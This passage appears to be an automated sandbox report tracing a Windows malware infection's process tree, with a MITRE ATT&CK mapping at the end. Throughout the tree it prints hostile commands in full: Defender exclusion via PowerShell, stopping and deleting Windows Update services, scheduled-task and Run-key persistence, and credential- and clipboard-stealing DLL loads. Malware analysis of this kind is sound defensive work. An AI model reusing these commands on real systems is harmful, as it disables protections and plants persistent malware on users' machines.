        "C:\Users\Admin\AppData\Local\d4e48403-f837-48f5-a37b-07d0e452bb4e\build3.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:3964
    - - C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:1368
- C:\Users\Admin\AppData\Local\Temp\130D.exe
  C:\Users\Admin\AppData\Local\Temp\130D.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:1108
- C:\Users\Admin\AppData\Local\Temp\1456.exe
  C:\Users\Admin\AppData\Local\Temp\1456.exe
  2⤵
  - Executes dropped EXE
  PID:2620
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2620 -s 340
    3⤵
    - Program crash
    PID:2716
- C:\Users\Admin\AppData\Local\Temp\1FFF.exe
  C:\Users\Admin\AppData\Local\Temp\1FFF.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1476
- - C:\Users\Admin\AppData\Local\Temp\ss31.exe
    "C:\Users\Admin\AppData\Local\Temp\ss31.exe"
    3⤵
    - Executes dropped EXE
    PID:2304
- - C:\Users\Admin\AppData\Local\Temp\XandETC.exe
    "C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:4200
- - C:\Users\Admin\AppData\Local\Temp\Player3.exe
    "C:\Users\Admin\AppData\Local\Temp\Player3.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:1448
- C:\Users\Admin\AppData\Local\Temp\25EC.exe
  C:\Users\Admin\AppData\Local\Temp\25EC.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:3852
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3852 -s 1192
    3⤵
    - Program crash
    PID:4320
- - C:\Users\Admin\AppData\Local\Temp\Player3.exe
    "C:\Users\Admin\AppData\Local\Temp\Player3.exe"
    3⤵
    - Executes dropped EXE
    PID:4204
- C:\Users\Admin\AppData\Local\Temp\27C2.exe
  C:\Users\Admin\AppData\Local\Temp\27C2.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:3020
- - C:\Users\Admin\AppData\Local\Temp\27C2.exe
    C:\Users\Admin\AppData\Local\Temp\27C2.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:2852
  - - C:\Users\Admin\AppData\Local\Temp\27C2.exe
      "C:\Users\Admin\AppData\Local\Temp\27C2.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:2800
    - - C:\Users\Admin\AppData\Local\Temp\27C2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\27C2.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:4388
      - C:\Users\Admin\AppData\Local\d41ac942-05ba-436e-9cd0-5931f5d8f35c\build2.exe
        
        "C:\Users\Admin\AppData\Local\d41ac942-05ba-436e-9cd0-5931f5d8f35c\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4400
        
        C:\Users\Admin\AppData\Local\d41ac942-05ba-436e-9cd0-5931f5d8f35c\build2.exe
        
        "C:\Users\Admin\AppData\Local\d41ac942-05ba-436e-9cd0-5931f5d8f35c\build2.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:1536
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1536 -s 1732
        8⤵
        Program crash
        
        PID:3316
      - C:\Users\Admin\AppData\Local\d41ac942-05ba-436e-9cd0-5931f5d8f35c\build3.exe
        
        "C:\Users\Admin\AppData\Local\d41ac942-05ba-436e-9cd0-5931f5d8f35c\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:3376
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:2004
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:3968
- C:\Users\Admin\AppData\Local\Temp\2969.exe
  C:\Users\Admin\AppData\Local\Temp\2969.exe
  2⤵
  - Executes dropped EXE
  PID:2592
- C:\Users\Admin\AppData\Local\Temp\8EFA.exe
  C:\Users\Admin\AppData\Local\Temp\8EFA.exe
  2⤵
  - Executes dropped EXE
  PID:2308
- - C:\Windows\SysWOW64\rundll32.exe
    C:\Windows\system32\rundll32.exe C:\Users\Admin\AppData\Local\Temp\Uieiuateoq.dll,start
    3⤵
    - Loads dropped DLL
    PID:3992
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2308 -s 412
    3⤵
    - Program crash
    PID:4060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3448
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:2096
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2076
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4692
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:3336
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:4280
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2928
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:2244
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:4728
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:2108
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:4496
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:4908
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:4300
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:540
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2472
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4356
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:4852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
  2⤵
  PID:4344
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
    3⤵
    PID:5104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:4884
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:4636
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3336
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4404
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4484
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:212
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:208
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:4848
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:4092
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    PID:4844
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:2668
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:4700
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:2076
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:4476
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:2832
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:216
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:2604
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe zuhwtyqtfkk
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  PID:4684
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:4300
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    PID:1752
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2800
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe ozascextlcafxrlv 6E3sjfZq2rJQaxvLPmXgsH8HqLgRgcx0/LVDxBdghhCp2+hEkY7tykSHwITYgOlci3ytMC8bvXFdgLfubt31d00EGUNZvUBUebLdyQcn06lc9XyK+SQQg4bEvwPCdT2KYoSnyaznjkuq+t/WEmnCxetIZsxpO3p/zzwJI2q0v1rwbWjqgzbDndc3ETa3aKYf8EOpU9uqIUcKKIP5glSGIF5NNBIQIOxiwAszeRmTD+ssM2JwNB+ZJXRJvy123U7UEXSTx71FLoxpDYVaIMhOE++Mr3hazCz1q4t4s5o8+wL0kdpUV5VnrG7JmlnWotU5n89qBghGm+y6SMYnw4GovlYYIKPio/EJCBO4ISkMSM9oXvdK2xwDd7nOPHNI0ub2+9+yDpmbkJhXPRjLmh8EzH9no+cA8XXsDqc7l4Il6Q8HZCkxxQKp3X7QrvGtORgpsiUFRUsjuuqKF8OZDBQ643uz5XTg02QKOJfFPdU0JLRX+q6NZJdak+3EYZdI36Zgtv5L8IJAttmNYCJqIJTseVMH04bRJ5WBnXqRYehi2MM0O1YRQDI8kKVhBta2xSurnVpcEWelFYwmZuF8Vd3YhHb8yAOoY//KgjosTtbU5Co=
  2⤵
  - Modifies data under HKEY_USERS
  PID:3848

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2620 -ip 2620
1⤵
PID:2552

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
"C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:1780
- C:\Windows\SysWOW64\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe" /F
  2⤵
  - Creates scheduled task(s)
  PID:4544
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "Admin:N"&&CACLS "nbveek.exe" /P "Admin:R" /E&&echo Y|CACLS "..\16de06bfb4" /P "Admin:N"&&CACLS "..\16de06bfb4" /P "Admin:R" /E&&Exit
  2⤵
  PID:3968
- - C:\Windows\SysWOW64\cacls.exe
    CACLS "..\16de06bfb4" /P "Admin:R" /E
    3⤵
    PID:3144
- - C:\Windows\SysWOW64\cacls.exe
    CACLS "..\16de06bfb4" /P "Admin:N"
    3⤵
    PID:4296
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:540
- - C:\Windows\SysWOW64\cacls.exe
    CACLS "nbveek.exe" /P "Admin:R" /E
    3⤵
    PID:4636
- - C:\Windows\SysWOW64\cacls.exe
    CACLS "nbveek.exe" /P "Admin:N"
    3⤵
    PID:2580
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:3136
- C:\Windows\SysWOW64\rundll32.exe
  "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
  2⤵
  - Loads dropped DLL
  PID:2308
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
    3⤵
    - Loads dropped DLL
    PID:3528
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3528 -s 644
      4⤵
      Program crash
      PID:1448
- C:\Windows\SysWOW64\rundll32.exe
  "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\clip64.dll, Main
  2⤵
  - Loads dropped DLL
  PID:1144

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 3852 -ip 3852
1⤵
PID:1308

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 2232 -ip 2232
1⤵
PID:3756

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:1624

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:3300
- C:\Windows\SysWOW64\schtasks.exe
  /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Creates scheduled task(s)
  - Suspicious use of WriteProcessMemory
  PID:556

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 1008 -ip 1008
1⤵
PID:3428

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 2308 -ip 2308
1⤵
PID:3524

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 1536 -ip 1536
1⤵
PID:4876

C:\Program Files\Notepad\Chrome\updater.exe
"C:\Program Files\Notepad\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
PID:644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:4696

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 568 -p 3528 -ip 3528
1⤵
PID:5048

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:5056

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

Impair Defenses

Modify Registry

Web Service

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery